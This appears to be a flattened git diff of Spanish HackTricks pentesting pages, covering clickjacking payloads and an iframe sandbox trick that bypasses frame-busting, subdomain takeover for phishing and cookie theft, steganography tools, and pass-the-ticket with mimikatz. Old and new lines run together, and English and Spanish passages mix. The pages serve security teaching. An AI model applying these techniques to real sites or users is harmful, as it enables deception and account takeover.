* **Comparte tus trucos de hacking enviando PRs al repositorio de** [**hacktricks**](https://github.com/carlospolop/hacktricks) **y al repositorio de** [**hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs al repositorio** [**hacktricks**](https://github.com/carlospolop/hacktricks) **y al repositorio** [**hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -15,7 +15,7 @@
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -26,7 +26,7 @@ El Clickjacking es un ataque que **engaña** a un **usuario** para que **haga cl
### Truco de prellenado de formularios ### Truco de prellenado de formularios
A veces es posible **rellenar el valor de los campos de un formulario utilizando parámetros GET al cargar una página**. Un atacante puede abusar de este comportamiento para rellenar un formulario con datos arbitrarios y enviar la carga de clickjacking para que el usuario presione el botón Enviar. A veces es posible **rellenar el valor de los campos de un formulario utilizando parámetros GET al cargar una página**. Un atacante puede abusar de este comportamiento para llenar un formulario con datos arbitrarios y enviar la carga de clickjacking para que el usuario presione el botón Enviar.
### Rellenar formulario con Arrastrar y soltar ### Rellenar formulario con Arrastrar y soltar
@ -56,21 +56,13 @@ z-index: 1;
Clickjacking can be made more effective by using a multistep payload. In this technique, the attacker tricks the victim into performing a series of actions, each of which contributes to the success of the attack. Clickjacking can be made more effective by using a multistep payload. In this technique, the attacker tricks the victim into performing a series of actions, each of which contributes to the success of the attack.
The multistep payload can be implemented using various methods. One common approach is to divide the payload into multiple steps, with each step being triggered by a separate click event. For example, the attacker may create a series of invisible buttons or links on a webpage, each of which performs a specific action when clicked. The multistep payload can be implemented using various methods. One common approach is to divide the payload into multiple steps and spread them across different web pages. The attacker first lures the victim to a page that contains the initial step of the payload. This step may involve clicking on a button, entering some information, or performing any other action.
By tricking the victim into clicking on these invisible elements in a specific sequence, the attacker can carry out a complex attack that would be difficult to achieve with a single click. This can include actions such as enabling microphone or camera access, granting permissions, or even initiating a financial transaction. Once the victim completes the first step, they are redirected to another page that contains the second step of the payload. This process continues until all the steps are completed. Each step may appear harmless or unrelated to the overall attack, making it difficult for the victim to realize they are being manipulated.
To protect against multistep payload attacks, it is important to implement proper clickjacking defenses. This can include techniques such as frame-busting code, X-Frame-Options headers, or Content Security Policy (CSP) settings. By dividing the payload into multiple steps, the attacker can bypass certain security measures that may be in place. For example, if a website has implemented protection against clickjacking by using frame-busting techniques, the multistep payload can help bypass this protection. Since each step is performed on a different page, the frame-busting code will not be triggered.
### Carga de múltiples pasos To defend against multistep payloads, it is important to educate users about the risks of clickjacking and the importance of being cautious while interacting with unfamiliar websites. Additionally, web developers should implement proper security measures to prevent clickjacking attacks, such as using X-Frame-Options headers or Content Security Policy (CSP) directives.
El clickjacking puede ser más efectivo utilizando una carga de múltiples pasos. En esta técnica, el atacante engaña a la víctima para que realice una serie de acciones, cada una de las cuales contribuye al éxito del ataque.
La carga de múltiples pasos se puede implementar utilizando varios métodos. Un enfoque común es dividir la carga en múltiples pasos, donde cada paso se activa mediante un evento de clic separado. Por ejemplo, el atacante puede crear una serie de botones o enlaces invisibles en una página web, cada uno de los cuales realiza una acción específica al hacer clic.
Al engañar a la víctima para que haga clic en estos elementos invisibles en una secuencia específica, el atacante puede llevar a cabo un ataque complejo que sería difícil de lograr con un solo clic. Esto puede incluir acciones como habilitar el acceso al micrófono o la cámara, otorgar permisos o incluso iniciar una transacción financiera.
Para protegerse contra los ataques de carga de múltiples pasos, es importante implementar defensas adecuadas contra el clickjacking. Esto puede incluir técnicas como código de ruptura de marco, encabezados X-Frame-Options o configuraciones de Política de Seguridad de Contenido (CSP).
```markup ```markup
<style> <style>
iframe { iframe {
@ -98,23 +90,19 @@ left:210px;
Clickjacking can be combined with drag and drop functionality to create a more sophisticated attack. In this technique, the attacker tricks the user into dragging and dropping an object onto a hidden button or link, which triggers a malicious action. Clickjacking can be combined with drag and drop functionality to create a more sophisticated attack. In this technique, the attacker tricks the user into dragging and dropping an object onto a hidden button or link, which triggers a malicious action.
El clickjacking se puede combinar con la funcionalidad de arrastrar y soltar para crear un ataque más sofisticado. En esta técnica, el atacante engaña al usuario para que arrastre y suelte un objeto sobre un botón o enlace oculto, lo que desencadena una acción maliciosa. El clickjacking se puede combinar con la funcionalidad de arrastrar y soltar para crear un ataque más sofisticado. En esta técnica, el atacante engaña al usuario para que arrastre y suelte un objeto sobre un botón o enlace oculto, lo cual desencadena una acción maliciosa.
To perform this attack, the attacker first creates a transparent layer on top of the target website using HTML and CSS. This layer is then positioned to cover the hidden button or link. The attacker then lures the user into dragging and dropping an object onto the visible part of the website, which is actually the transparent layer. To perform this attack, the attacker first creates a transparent layer on top of the target website. This layer contains a hidden button or link that is positioned exactly where the user is expected to drag and drop an object.
Para llevar a cabo este ataque, el atacante primero crea una capa transparente sobre el sitio web objetivo utilizando HTML y CSS. Luego, esta capa se posiciona para cubrir el botón o enlace oculto. El atacante luego atrae al usuario para que arrastre y suelte un objeto en la parte visible del sitio web, que en realidad es la capa transparente. Para llevar a cabo este ataque, el atacante primero crea una capa transparente sobre el sitio web objetivo. Esta capa contiene un botón o enlace oculto que se posiciona exactamente donde se espera que el usuario arrastre y suelte un objeto.
When the user performs the drag and drop action, they unknowingly trigger the hidden button or link underneath, which can perform actions such as submitting a form, making a purchase, or even granting permissions to the attacker. When the user interacts with the website and attempts to drag and drop an object, they unknowingly trigger the hidden button or link underneath. This can lead to unintended actions, such as submitting a form, making a purchase, or performing any other action that the attacker desires.
Cuando el usuario realiza la acción de arrastrar y soltar, sin saberlo, activa el botón o enlace oculto que se encuentra debajo, lo que puede realizar acciones como enviar un formulario, realizar una compra o incluso otorgar permisos al atacante. Cuando el usuario interactúa con el sitio web e intenta arrastrar y soltar un objeto, sin saberlo, activa el botón o enlace oculto que se encuentra debajo. Esto puede llevar a acciones no deseadas, como enviar un formulario, realizar una compra o realizar cualquier otra acción que el atacante desee.
To protect against drag and drop + click payloads, developers should implement measures such as frame-busting code, which prevents the website from being loaded within an iframe, and the X-Frame-Options header, which restricts how the website can be embedded in other sites. To protect against drag and drop + click payloads, website owners should implement frame-busting techniques and ensure that their websites cannot be embedded within iframes on other domains.
Para protegerse contra las cargas de arrastrar y soltar + clic, los desarrolladores deben implementar medidas como el código de rompimiento de marco, que evita que el sitio web se cargue dentro de un iframe, y el encabezado X-Frame-Options, que restringe cómo se puede incrustar el sitio web en otros sitios. Para protegerse contra las cargas de arrastrar y soltar + clic, los propietarios de sitios web deben implementar técnicas de rompimiento de marcos y asegurarse de que sus sitios web no puedan ser incrustados en iframes en otros dominios.
Additionally, user awareness and education are crucial in preventing clickjacking attacks. Users should be cautious when interacting with unfamiliar websites and should avoid dragging and dropping objects onto suspicious areas of a webpage.
Además, la conciencia y educación del usuario son cruciales para prevenir los ataques de clickjacking. Los usuarios deben tener precaución al interactuar con sitios web desconocidos y deben evitar arrastrar y soltar objetos en áreas sospechosas de una página web.
```markup ```markup
<html> <html>
<head> <head>
@ -167,15 +155,15 @@ Como los bloqueadores de marcos son JavaScript, la configuración de seguridad d
```markup ```markup
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe> <iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
``` ```
Tanto los valores `allow-forms` como `allow-scripts` permiten las acciones especificadas dentro del iframe, pero la navegación de nivel superior está deshabilitada. Esto inhibe los comportamientos de rompimiento de marco mientras permite la funcionalidad dentro del sitio objetivo. Tanto los valores `allow-forms` como `allow-scripts` permiten las acciones especificadas dentro del iframe, pero la navegación de nivel superior está deshabilitada. Esto inhibe los comportamientos de rompimiento de marco al tiempo que permite la funcionalidad dentro del sitio objetivo.
Dependiendo del tipo de ataque de Clickjacking realizado, **también puede ser necesario permitir**: `allow-same-origin` y `allow-modals` o [incluso más](https://www.w3schools.com/tags/att\_iframe\_sandbox.asp). Al preparar el ataque, simplemente verifica la consola del navegador, que puede indicarte qué otros comportamientos debes permitir. Dependiendo del tipo de ataque de Clickjacking realizado, **también puede ser necesario permitir**: `allow-same-origin` y `allow-modals` o [incluso más](https://www.w3schools.com/tags/att\_iframe\_sandbox.asp). Al preparar el ataque, simplemente verifica la consola del navegador, ya que puede indicarte qué otros comportamientos debes permitir.
### X-Frame-Options ### X-Frame-Options
El encabezado de respuesta HTTP **`X-Frame-Options`** se puede utilizar para indicar si un navegador debe **permitir** o no renderizar una página en un `<frame>` o `<iframe>`. Los sitios pueden usar esto para evitar ataques de Clickjacking, asegurándose de que **su contenido no se incruste en otros sitios**. Establece el encabezado **`X-Frame-Options`** para todas las respuestas que contengan contenido HTML. Los valores posibles son: El encabezado de respuesta HTTP **`X-Frame-Options`** se puede utilizar para indicar si un navegador debe **permitir** o no que se represente una página en un `<frame>` o `<iframe>`. Los sitios pueden utilizar esto para evitar ataques de Clickjacking, asegurándose de que **su contenido no se incruste en otros sitios**. Establece el encabezado **`X-Frame-Options`** para todas las respuestas que contengan contenido HTML. Los valores posibles son:
* `X-Frame-Options: deny`, que **impide que cualquier dominio enmarque el contenido** _(Valor recomendado)_ * `X-Frame-Options: deny`, que **impide que cualquier dominio enmarque el contenido** _(valor recomendado)_
* `X-Frame-Options: sameorigin`, que solo **permite que el sitio actual** enmarque el contenido. * `X-Frame-Options: sameorigin`, que solo **permite que el sitio actual** enmarque el contenido.
* `X-Frame-Options: allow-from https://trusted.com`, que **permite que el 'uri' especificado** enmarque esta página. * `X-Frame-Options: allow-from https://trusted.com`, que **permite que el 'uri' especificado** enmarque esta página.
* Verifica las limitaciones a continuación porque **esto fallará si el navegador no lo admite**. * Verifica las limitaciones a continuación porque **esto fallará si el navegador no lo admite**.
@ -199,8 +187,8 @@ Consulta la siguiente documentación para obtener más detalles y ejemplos más
### Limitaciones <a href="#limitations" id="limitations"></a> ### Limitaciones <a href="#limitations" id="limitations"></a>
* **Compatibilidad del navegador:** Las directivas CSP frame-ancestors aún no son compatibles con todos los principales navegadores. * **Compatibilidad del navegador:** CSP frame-ancestors aún no es compatible con todos los principales navegadores.
* **X-Frame-Options tiene prioridad:** La [sección "Relación con X-Frame-Options" de la especificación CSP](https://w3c.github.io/webappsec/specs/content-security-policy/#frame-ancestors-and-frame-options) dice: "_Si un recurso se entrega con una política que incluye una directiva llamada frame-ancestors y cuya disposición es "enforce", entonces se DEBE ignorar el encabezado X-Frame-Options_", pero Chrome 40 y Firefox 35 ignoran la directiva frame-ancestors y siguen el encabezado X-Frame-Options en su lugar. * **X-Frame-Options tiene prioridad:** La sección "Relación con X-Frame-Options" de la especificación CSP dice: "_Si un recurso se entrega con una política que incluye una directiva llamada frame-ancestors y cuya disposición es 'enforce', entonces el encabezado X-Frame-Options DEBE ser ignorado_", pero Chrome 40 y Firefox 35 ignoran la directiva frame-ancestors y siguen el encabezado X-Frame-Options en su lugar.
## Referencias ## Referencias
@ -210,7 +198,7 @@ Consulta la siguiente documentación para obtener más detalles y ejemplos más
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -15,7 +15,7 @@
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -75,7 +75,7 @@ Ten en cuenta que el paso #7 solicita _sub.example.com_ en lugar de _anotherdoma
Un dominio así es perfecto para un escenario de phishing. Los atacantes suelen utilizar [_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting) o los llamados [_dominios Doppelganger_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) para imitar el dominio/sitio web legítimo con fines de phishing. Después de que un atacante se apodera de un nombre de dominio legítimo, es casi imposible para un usuario regular saber si el contenido del dominio es proporcionado por una parte legítima o por un atacante. Tomemos, por ejemplo, un banco al azar. Si uno de los subdominios del banco es vulnerable a la toma de control de subdominios, un atacante puede crear un formulario HTML que imite el formulario de inicio de sesión del sistema de banca en línea del banco. Luego, un atacante puede ejecutar una campaña de spear phishing o phishing masivo pidiendo a los usuarios que inicien sesión y cambien sus contraseñas. En esta etapa, las contraseñas son capturadas por un atacante que tiene el control del dominio en cuestión. La URL proporcionada en el correo electrónico de phishing es un subdominio legítimo de un banco. Por lo tanto, los usuarios no son conscientes de que algo malicioso está sucediendo. Los filtros de spam y otras medidas de seguridad también tienen menos probabilidades de detectar el correo electrónico como spam o malicioso porque contiene nombres de dominio con mayor confianza. Un dominio así es perfecto para un escenario de phishing. Los atacantes suelen utilizar [_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting) o los llamados [_dominios Doppelganger_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) para imitar el dominio/sitio web legítimo con fines de phishing. Después de que un atacante se apodera de un nombre de dominio legítimo, es casi imposible para un usuario regular saber si el contenido del dominio es proporcionado por una parte legítima o por un atacante. Tomemos, por ejemplo, un banco al azar. Si uno de los subdominios del banco es vulnerable a la toma de control de subdominios, un atacante puede crear un formulario HTML que imite el formulario de inicio de sesión del sistema de banca en línea del banco. Luego, un atacante puede ejecutar una campaña de spear phishing o phishing masivo pidiendo a los usuarios que inicien sesión y cambien sus contraseñas. En esta etapa, las contraseñas son capturadas por un atacante que tiene el control del dominio en cuestión. La URL proporcionada en el correo electrónico de phishing es un subdominio legítimo de un banco. Por lo tanto, los usuarios no son conscientes de que algo malicioso está sucediendo. Los filtros de spam y otras medidas de seguridad también tienen menos probabilidades de detectar el correo electrónico como spam o malicioso porque contiene nombres de dominio con mayor confianza.
De hecho, el nombre de dominio en sí juega un papel importante en una campaña exitosa. Tener un subdominio de quinto nivel vulnerable a la toma de control de subdominios es mucho menos _"legítimo"_ que tener un subdominio de segundo nivel con un nombre de subdominio amigable. Vi varios casos de subdominios perfectos para phishing, incluyendo: De hecho, el nombre de dominio en sí juega un papel importante en una campaña exitosa. Tener un subdominio de quinto nivel vulnerable a la toma de control de subdominios es mucho menos _"legítimo"_ que tener un subdominio de segundo nivel con un nombre de subdominio amigable. He visto varios casos de subdominios perfectos para phishing, incluyendo:
* _purchases.SOMETHING.com_ * _purchases.SOMETHING.com_
* _www.SOMETHING.com_ * _www.SOMETHING.com_
@ -89,7 +89,7 @@ Sin embargo, las campañas de phishing recientes alojan contenido en dominios co
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -100,7 +100,7 @@ El ataque anterior puede mejorarse generando un certificado SSL válido. Las aut
![Flujo de Let's Encrypt](https://0xpatrik.com/content/images/2018/05/letsencrypt.png) ![Flujo de Let's Encrypt](https://0xpatrik.com/content/images/2018/05/letsencrypt.png)
Es decir, si hay un contenido específico ubicado en una ruta de URL específica, Let's Encrypt aprobará la emisión de un certificado para un determinado dominio. Dado que un atacante tiene control total sobre el contenido del dominio que es vulnerable a la toma de control de subdominios, esta verificación se puede hacer en cuestión de minutos. Por lo tanto, los atacantes también pueden generar un certificado SSL para dicho dominio, lo que reduce la sospecha de un ataque de phishing. Es decir, si hay un contenido específico ubicado en una ruta de URL específica, Let's Encrypt aprobará la emisión de un certificado para un dominio determinado. Dado que un atacante tiene control total sobre el contenido del dominio que es vulnerable a la toma de control de subdominios, esta verificación se puede hacer en cuestión de minutos. Por lo tanto, los atacantes también pueden generar un certificado SSL para dicho dominio, lo que reduce la sospecha de un ataque de phishing.
### Robo de cookies <a href="#robodecookies" id="robodecookies"></a> ### Robo de cookies <a href="#robodecookies" id="robodecookies"></a>
@ -151,7 +151,7 @@ Uno de los problemas en la toma de subdominios utilizando registros NS es que el
El proceso anterior se repite cada vez que caduca la entrada de caché. Cuando un atacante elige utilizar un TTL con un valor alto, el resultado falso permanecerá en la caché DNS durante ese período. Durante este tiempo, todas las solicitudes a _sub.example.com_ utilizarán el resultado DNS falso almacenado en caché por el atacante. Esta idea se amplifica aún más cuando se utilizan resolutores DNS públicos (por ejemplo, Google DNS). En este caso, es probable que los resolutores públicos almacenen en caché los resultados falsos, lo que significa que todos los usuarios que utilicen el mismo resolutor DNS obtendrán resultados falsos hasta que se revoque la caché. El proceso anterior se repite cada vez que caduca la entrada de caché. Cuando un atacante elige utilizar un TTL con un valor alto, el resultado falso permanecerá en la caché DNS durante ese período. Durante este tiempo, todas las solicitudes a _sub.example.com_ utilizarán el resultado DNS falso almacenado en caché por el atacante. Esta idea se amplifica aún más cuando se utilizan resolutores DNS públicos (por ejemplo, Google DNS). En este caso, es probable que los resolutores públicos almacenen en caché los resultados falsos, lo que significa que todos los usuarios que utilicen el mismo resolutor DNS obtendrán resultados falsos hasta que se revoque la caché.
Además del control sobre el nombre de dominio de origen, también se obtiene el control sobre todos los dominios de nivel superior del nombre de dominio de origen. Esto se debe a que ser dueño de un nombre de dominio canónico de un registro NS significa ser dueño de la zona DNS completa del nombre de dominio de origen. Además del control sobre el nombre de dominio de origen, también se obtiene el control sobre todos los dominios de nivel superior del nombre de dominio de origen. Esto se debe a que ser propietario de un nombre de dominio canónico de un registro NS significa ser propietario de la zona DNS completa del nombre de dominio de origen.
En 2016, Matthew Bryant [demostró](https://thehackerblog.com/the-international-incident-gaining-control-of-a-int-domain-name-with-dns-trickery/index.html) una toma de subdominios utilizando un registro NS en _maris.int_. El dominio de nivel superior .INT es un TLD especial y solo unos pocos dominios lo utilizan. Bryant mostró que aunque el registro de dichos nombres de dominio está aprobado exclusivamente por IANA, los servidores de nombres se pueden configurar en dominios arbitrarios. Dado que uno de los servidores de nombres de _maris.int_ estaba disponible para su registro (_cobalt.aliis.be_), fue posible la toma de subdominios incluso en este TLD restringido. En 2016, Matthew Bryant [demostró](https://thehackerblog.com/the-international-incident-gaining-control-of-a-int-domain-name-with-dns-trickery/index.html) una toma de subdominios utilizando un registro NS en _maris.int_. El dominio de nivel superior .INT es un TLD especial y solo unos pocos dominios lo utilizan. Bryant mostró que aunque el registro de dichos nombres de dominio está aprobado exclusivamente por IANA, los servidores de nombres se pueden configurar en dominios arbitrarios. Dado que uno de los servidores de nombres de _maris.int_ estaba disponible para su registro (_cobalt.aliis.be_), fue posible la toma de subdominios incluso en este TLD restringido.
@ -178,7 +178,7 @@ _Algunas partes de esta publicación son extractos de mi_ [_Tesis de Maestría_]
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -191,6 +191,6 @@ Obtén acceso hoy mismo:
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -87,7 +87,7 @@ Para **extraer** los **datos**, puedes utilizar: [https://www.irongeek.com/i.php
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** fácilmente, utilizando las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -172,7 +172,7 @@ ffmpeg se puede utilizar para verificar la integridad de los archivos de audio,
### Wavsteg \[WAV] <a href="#wavsteg" id="wavsteg"></a> ### Wavsteg \[WAV] <a href="#wavsteg" id="wavsteg"></a>
WavSteg es una herramienta en Python3 que puede ocultar datos, utilizando el bit menos significativo, en archivos wav. También puede buscar y extraer datos de archivos wav.\ WavSteg es una herramienta de Python3 que puede ocultar datos, utilizando el bit menos significativo, en archivos wav. También puede buscar y extraer datos de archivos wav.\
Puedes obtenerlo desde [Github](https://github.com/ragibson/Steganography#WavSteg)\ Puedes obtenerlo desde [Github](https://github.com/ragibson/Steganography#WavSteg)\
Comandos útiles:\ Comandos útiles:\
`python3 WavSteg.py -r -b 1 -s archivo_de_sonido -o archivo_de_salida` : Extrae a un archivo de salida (tomando solo 1 bit menos significativo)\ `python3 WavSteg.py -r -b 1 -s archivo_de_sonido -o archivo_de_salida` : Extrae a un archivo de salida (tomando solo 1 bit menos significativo)\

View file

@ -15,7 +15,7 @@
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -26,8 +26,8 @@ Este tipo de ataque es similar a Pasar la Clave, pero en lugar de usar hashes pa
**Leer**: **Leer**:
* [Obtención de tickets en Windows](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md) * [Obtención de tickets de Windows](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
* [Obtención de tickets en Linux](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md) * [Obtención de tickets de Linux](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
### **Intercambio de tickets de Linux y Windows entre plataformas** ### **Intercambio de tickets de Linux y Windows entre plataformas**
@ -64,7 +64,7 @@ klist #List tickets in cache to cehck that mimikatz has loaded the ticket
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}